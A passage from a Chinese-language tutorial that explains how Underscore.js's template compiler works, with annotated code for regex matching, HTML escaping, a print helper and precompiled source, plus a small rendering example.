  ].join('|') + '|$', 'g');

  var index = 0;
  var source = "__p+='";

  // match 为匹配的整个串
  // escape/interpolate/evaluate 为匹配的子表达式, 分别对应<%xxx%>、<%=xxx%>、<%-xxx%>(如果没有匹配成功则为 undefined)
  // offset 为字符匹配(match)的起始位置(偏移量)
  text.replace(matcher, function (match, escape, interpolate, evaluate, offset) {
    // \n => \\n , \r => \\r ,....
    source += text.slice(index, offset).replace(escapeRegExp, escapeChar);
    // 改变 index 值,为了下次的 slice
    index = offset + match.length;

    if (escape) {
      // 需要对变量进行编码(=> HTML 实体编码)
      // 避免 XSS 攻击
      // 并且考虑属性不存在的情况 
      source += "'+\n((__t=(" + escape + "))==null?'':_escape(__t))+\n'";
    } else if (interpolate) {
      // 单纯的插入变量
      source += "'+\n((__t=(" + interpolate + "))==null?'':__t)+\n'";
    } else if (evaluate) {
      // 可以直接执行的 JavaScript 语句
      // 注意 "__p+=",__p 为渲染返回的字符串
      source += "';\n" + evaluate + "\n__p+='";
    }

    return match;
  });
  source += "';\n";

  source = 'with(obj||{}){\n' + source + '}\n';
  source = "var __t, __p='';" +
    source + 'return __p;\n';

  var render = new Function('obj', '_escape', source);

  // data 一般是 JSON 数据,用来渲染模板
  var template = function(data) {
    return render.call(this, data);
  };
  return template;

};

测试下:

<div id="list"><div>

<script>
  // 引入以上代码...

  var tpl = `
  
    <% for (var i = 0; i < items.length; i++) { %>
        <%var item = items[i];%>
        <p><%= i+1 %>、<%=item.name%></p>
      <% } %>
  `
  var precompile = template(tpl);
  var data = {
    items: [
      {name: '张三'}, {name: '李四'}, {name: '王五'},
    ]
  };
  document.getElementById('list').innerHTML = precompile(data);
</script>

结果如下:
渲染结果
完整代码见template1

matcher 的表达式最后为什么还要加个 |$ ?

^$ 匹配行的开始和结束位置

var str = "abc";
str.replace(/^/g, function(match, offset){
  console.log(offset) // 0
  return match
});

str.replace(/$/g, function(match, offset){
  console.log(offset) // 3
  return match
});

我们之所以匹配 $,是为了获取最后一个字符串的位置,这样当我们 text.slice(index, offset)的时候,就可以截取到最后一个字符。

完整代码

与上面版本相比,增加了:

  1. 可传入配置项;
  2. 对错误的处理;
  3. 添加 source 属性,以方便查看代码字符串
  4. 添加了方便调试的 print 函数
// 校验变量
var bareIdentifier = /^\s*(\w|\$)+\s*$/;

// 三种渲染模板
// 1. <%  %> - 执行任意的 JavaScript 代码
// 2. <%= %> - 插入变量
// 3. <%- %> - 插入一个HTML转义的值 
var templateSettings = _$1.templateSettings = {
  evaluate: /<%([\s\S]+?)%>/g,
  interpolate: /<%=([\s\S]+?)%>/g,
  escape: /<%-([\s\S]+?)%>/g
};

// 不匹配任何东西
var noMatch = /(.)^/;

// 转义字符
var escapes = {
  "'": "'",
  '\\': '\\',
  '\r': 'r',  // 回车符
  '\n': 'n',  // 换行符
  '\u2028': 'u2028',  // 行分隔符
  '\u2029': 'u2029'  // 段落分隔符
};

var escapeRegExp = /\\|'|\r|\n|\u2028|\u2029/g;
var isObject = function (obj) {
  return Object.prototype.toString.call(obj) === '[object Object]'
}

function escapeChar(match) {
  return '\\' + escapes[match];
}

function template(text, settings, oldSettings) {
  if (!settings && oldSettings) settings = oldSettings;
  // 相同的 key,优先选择 settings 对象中的
  // 其次选择 _.templateSettings 对象中的
  // 生成最终用来做模板渲染的字符串
  // 自定义模板优先于默认模板 _.templateSettings
  settings = defaults({}, settings, _$1.templateSettings);

  // 正则表达式 pattern,用于正则匹配 text 字符串中的模板字符串
  // /<%-([\s\S]+?)%>|<%=([\s\S]+?)%>|<%([\s\S]+?)%>|$/g
  // 注意最后还有个 |$
  var matcher = RegExp([
    (settings.escape || noMatch).source,
    (settings.interpolate || noMatch).source,
    (settings.evaluate || noMatch).source
  ].join('|') + '|$', 'g');

  // 编译模板字符串,将原始的模板字符串替换成函数字符串
  // 用拼接成的函数字符串生成函数(new Function(...))
  var index = 0;
  var source = "__p+='";
  // match 为匹配的整个串
  // escape/interpolate/evaluate 为匹配的子表达式, 分别对应<%xxx%>、<%=xxx%>、<%-xxx%>(如果没有匹配成功则为 undefined)
  // offset 为字符匹配(match)的起始位置(偏移量)
  text.replace(matcher, function(match, escape, interpolate, evaluate, offset) {
    // \n => \\n , \r => \\r ,....
    source += text.slice(index, offset).replace(escapeRegExp, escapeChar);
    // 改变 index 值,为了下次的 slice
    index = offset + match.length;

    if (escape) {
      // 需要对变量进行编码(=> HTML 实体编码)
      // 避免 XSS 攻击
      // 并且考虑属性不存在的情况 
      source += "'+\n((__t=(" + escape + "))==null?'':_.escape(__t))+\n'";
    } else if (interpolate) {
      // 单纯的插入变量
      source += "'+\n((__t=(" + interpolate + "))==null?'':__t)+\n'";
    } else if (evaluate) {
      // 可以直接执行的 JavaScript 语句
      // 注意 "__p+=",__p 为渲染返回的字符串
      source += "';\n" + evaluate + "\n__p+='";
    }

    return match;
  });
  source += "';\n";

  // 在 variable 设置里指定一个变量名. 这样能显著提升模板的渲染速度
  // _.template("Using 'with': <%= data.answer %>", {variable: 'data'})({answer: 'no'});  // "Using 'with': no"
  var argument = settings.variable;
  if (argument) {
    if (!bareIdentifier.test(argument)) throw new Error(
      'variable is not a bare identifier: ' + argument
    );
  } else {
    // 默认用 with 语句指定作用域
    source = 'with(obj||{}){\n' + source + '}\n';
    argument = 'obj';
  }

  // 增加 print 功能
  // __p 为返回的字符串
  source = "var __t,__p='',__j=Array.prototype.join," +
    "print=function(){__p+=__j.call(arguments,'');};\n" +
    source + 'return __p;\n';

  var render;
  try {
    // render 为模板渲染函数
    // 传入参数 _ ,使得模板里 <%  %> 里的代码能用 underscore 的方法, 如_.escape方法
    render = new Function(argument, '_', source);
  } catch (e) {
    // 抛出错误
    e.source = source;
    throw e;
  }
  
  // data 一般是 JSON 数据,用来渲染模板
  var template = function(data) {
    return render.call(this, data, _$1);
  };

  // 可通过 _.template(tpl).source 获取
  // 可以用来预编译,在服务端预编译好,直接在客户端生成代码,客户端直接调用方法
  // 预编译的模板可以提供错误的代码行号和堆栈跟踪
  template.source = 'function(' + argument + '){\n' + source + '}';

  return template;
}

参考资料:

www.w3school.com.cn/html/html_e…
underscorejs.net/#utility
github.com/mqyqingfeng…
github.com/mqyqingfeng…
github.com/lessfish/un…
深入浅出Node.js